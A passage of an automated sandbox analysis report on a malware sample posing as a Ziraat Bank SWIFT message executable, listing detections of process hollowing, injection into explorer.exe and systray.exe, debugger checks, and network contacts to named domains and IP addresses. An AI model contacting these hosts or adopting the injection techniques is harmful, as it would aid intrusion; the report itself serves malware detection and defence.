          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6C0A mov eax, dword ptr fs:[00000030h]6_2_012F6C0A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331C06 mov eax, dword ptr fs:[00000030h]6_2_01331C06
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134740D mov eax, dword ptr fs:[00000030h]6_2_0134740D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134740D mov eax, dword ptr fs:[00000030h]6_2_0134740D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134740D mov eax, dword ptr fs:[00000030h]6_2_0134740D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129746D mov eax, dword ptr fs:[00000030h]6_2_0129746D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130C450 mov eax, dword ptr fs:[00000030h]6_2_0130C450
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130C450 mov eax, dword ptr fs:[00000030h]6_2_0130C450
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA44B mov eax, dword ptr fs:[00000030h]6_2_012AA44B
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128849B mov eax, dword ptr fs:[00000030h]6_2_0128849B
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013314FB mov eax, dword ptr fs:[00000030h]6_2_013314FB
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6CF0 mov eax, dword ptr fs:[00000030h]6_2_012F6CF0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6CF0 mov eax, dword ptr fs:[00000030h]6_2_012F6CF0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6CF0 mov eax, dword ptr fs:[00000030h]6_2_012F6CF0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348CD6 mov eax, dword ptr fs:[00000030h]6_2_01348CD6
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01274F2E mov eax, dword ptr fs:[00000030h]6_2_01274F2E
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01274F2E mov eax, dword ptr fs:[00000030h]6_2_01274F2E
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B73D mov eax, dword ptr fs:[00000030h]6_2_0129B73D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B73D mov eax, dword ptr fs:[00000030h]6_2_0129B73D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AE730 mov eax, dword ptr fs:[00000030h]6_2_012AE730
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130FF10 mov eax, dword ptr fs:[00000030h]6_2_0130FF10
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130FF10 mov eax, dword ptr fs:[00000030h]6_2_0130FF10
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA70E mov eax, dword ptr fs:[00000030h]6_2_012AA70E
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA70E mov eax, dword ptr fs:[00000030h]6_2_012AA70E
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134070D mov eax, dword ptr fs:[00000030h]6_2_0134070D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134070D mov eax, dword ptr fs:[00000030h]6_2_0134070D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129F716 mov eax, dword ptr fs:[00000030h]6_2_0129F716
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128FF60 mov eax, dword ptr fs:[00000030h]6_2_0128FF60
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348F6A mov eax, dword ptr fs:[00000030h]6_2_01348F6A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128EF40 mov eax, dword ptr fs:[00000030h]6_2_0128EF40
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7794 mov eax, dword ptr fs:[00000030h]6_2_012F7794
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7794 mov eax, dword ptr fs:[00000030h]6_2_012F7794
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7794 mov eax, dword ptr fs:[00000030h]6_2_012F7794
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01288794 mov eax, dword ptr fs:[00000030h]6_2_01288794
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B37F5 mov eax, dword ptr fs:[00000030h]6_2_012B37F5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127E620 mov eax, dword ptr fs:[00000030h]6_2_0127E620
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132FE3F mov eax, dword ptr fs:[00000030h]6_2_0132FE3F
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127C600 mov eax, dword ptr fs:[00000030h]6_2_0127C600
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127C600 mov eax, dword ptr fs:[00000030h]6_2_0127C600
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127C600 mov eax, dword ptr fs:[00000030h]6_2_0127C600
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A8E00 mov eax, dword ptr fs:[00000030h]6_2_012A8E00
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA61C mov eax, dword ptr fs:[00000030h]6_2_012AA61C
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA61C mov eax, dword ptr fs:[00000030h]6_2_012AA61C
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331608 mov eax, dword ptr fs:[00000030h]6_2_01331608
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128766D mov eax, dword ptr fs:[00000030h]6_2_0128766D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AE73 mov eax, dword ptr fs:[00000030h]6_2_0129AE73
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AE73 mov eax, dword ptr fs:[00000030h]6_2_0129AE73
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AE73 mov eax, dword ptr fs:[00000030h]6_2_0129AE73
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AE73 mov eax, dword ptr fs:[00000030h]6_2_0129AE73
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AE73 mov eax, dword ptr fs:[00000030h]6_2_0129AE73
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]6_2_01287E41
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]6_2_01287E41
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]6_2_01287E41
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]6_2_01287E41
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]6_2_01287E41
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]6_2_01287E41
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133AE44 mov eax, dword ptr fs:[00000030h]6_2_0133AE44
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133AE44 mov eax, dword ptr fs:[00000030h]6_2_0133AE44
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F46A7 mov eax, dword ptr fs:[00000030h]6_2_012F46A7
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01340EA5 mov eax, dword ptr fs:[00000030h]6_2_01340EA5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01340EA5 mov eax, dword ptr fs:[00000030h]6_2_01340EA5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01340EA5 mov eax, dword ptr fs:[00000030h]6_2_01340EA5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130FE87 mov eax, dword ptr fs:[00000030h]6_2_0130FE87
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A16E0 mov ecx, dword ptr fs:[00000030h]6_2_012A16E0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012876E2 mov eax, dword ptr fs:[00000030h]6_2_012876E2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348ED6 mov eax, dword ptr fs:[00000030h]6_2_01348ED6
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A36CC mov eax, dword ptr fs:[00000030h]6_2_012A36CC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B8EC7 mov eax, dword ptr fs:[00000030h]6_2_012B8EC7
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132FEC0 mov eax, dword ptr fs:[00000030h]6_2_0132FEC0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeProcess queried: DebugPortJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9910 NtAdjustPrivilegesToken,LdrInitializeThunk,6_2_012B9910
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeMemory allocated: page read and write | page guardJump to behavior

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeDomain query: www.notarpucarhr.com
          Source: C:\Windows\explorer.exeDomain query: www.oaksinstitute.net
          Source: C:\Windows\explorer.exeNetwork Connect: 103.11.189.189 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.multimediapages.com
          Source: C:\Windows\explorer.exeNetwork Connect: 141.136.43.229 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 38.239.92.131 80Jump to behavior
          Sample uses process hollowing technique
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection unmapped: C:\Windows\SysWOW64\systray.exe base address: 1010000Jump to behavior
          Maps a DLL or memory area into another process
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection loaded: unknown target: C:\Windows\SysWOW64\systray.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection loaded: unknown target: C:\Windows\SysWOW64\systray.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Injects a PE file into a foreign processes
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeMemory written: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe base: 400000 value starts with: 4D5AJump to behavior
          Queues an APC in another process (thread injection)
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread register set: target process: 3528Jump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread register set: target process: 3528Jump to behavior
          Source: C:\Windows\SysWOW64\systray.exeThread register set: target process: 3528Jump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Windows\SysWOW64\systray.exe C:\Windows\SysWOW64\systray.exeJump to behavior
          Source: explorer.exe, 00000007.00000000.374080606.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.394264558.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.331690721.0000000000E50000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: EProgram Managerzx
          Source: explorer.exe, 00000007.00000000.399124469.0000000005C70000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.374080606.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.350620618.000000000834F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 00000007.00000000.374080606.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.394264558.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.331690721.0000000000E50000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 00000007.00000000.330992667.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.393881656.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.373733761.00000000009C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Progmanath
          Source: explorer.exe, 00000007.00000000.374080606.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.394264558.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.331690721.0000000000E50000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformationJump to behavior
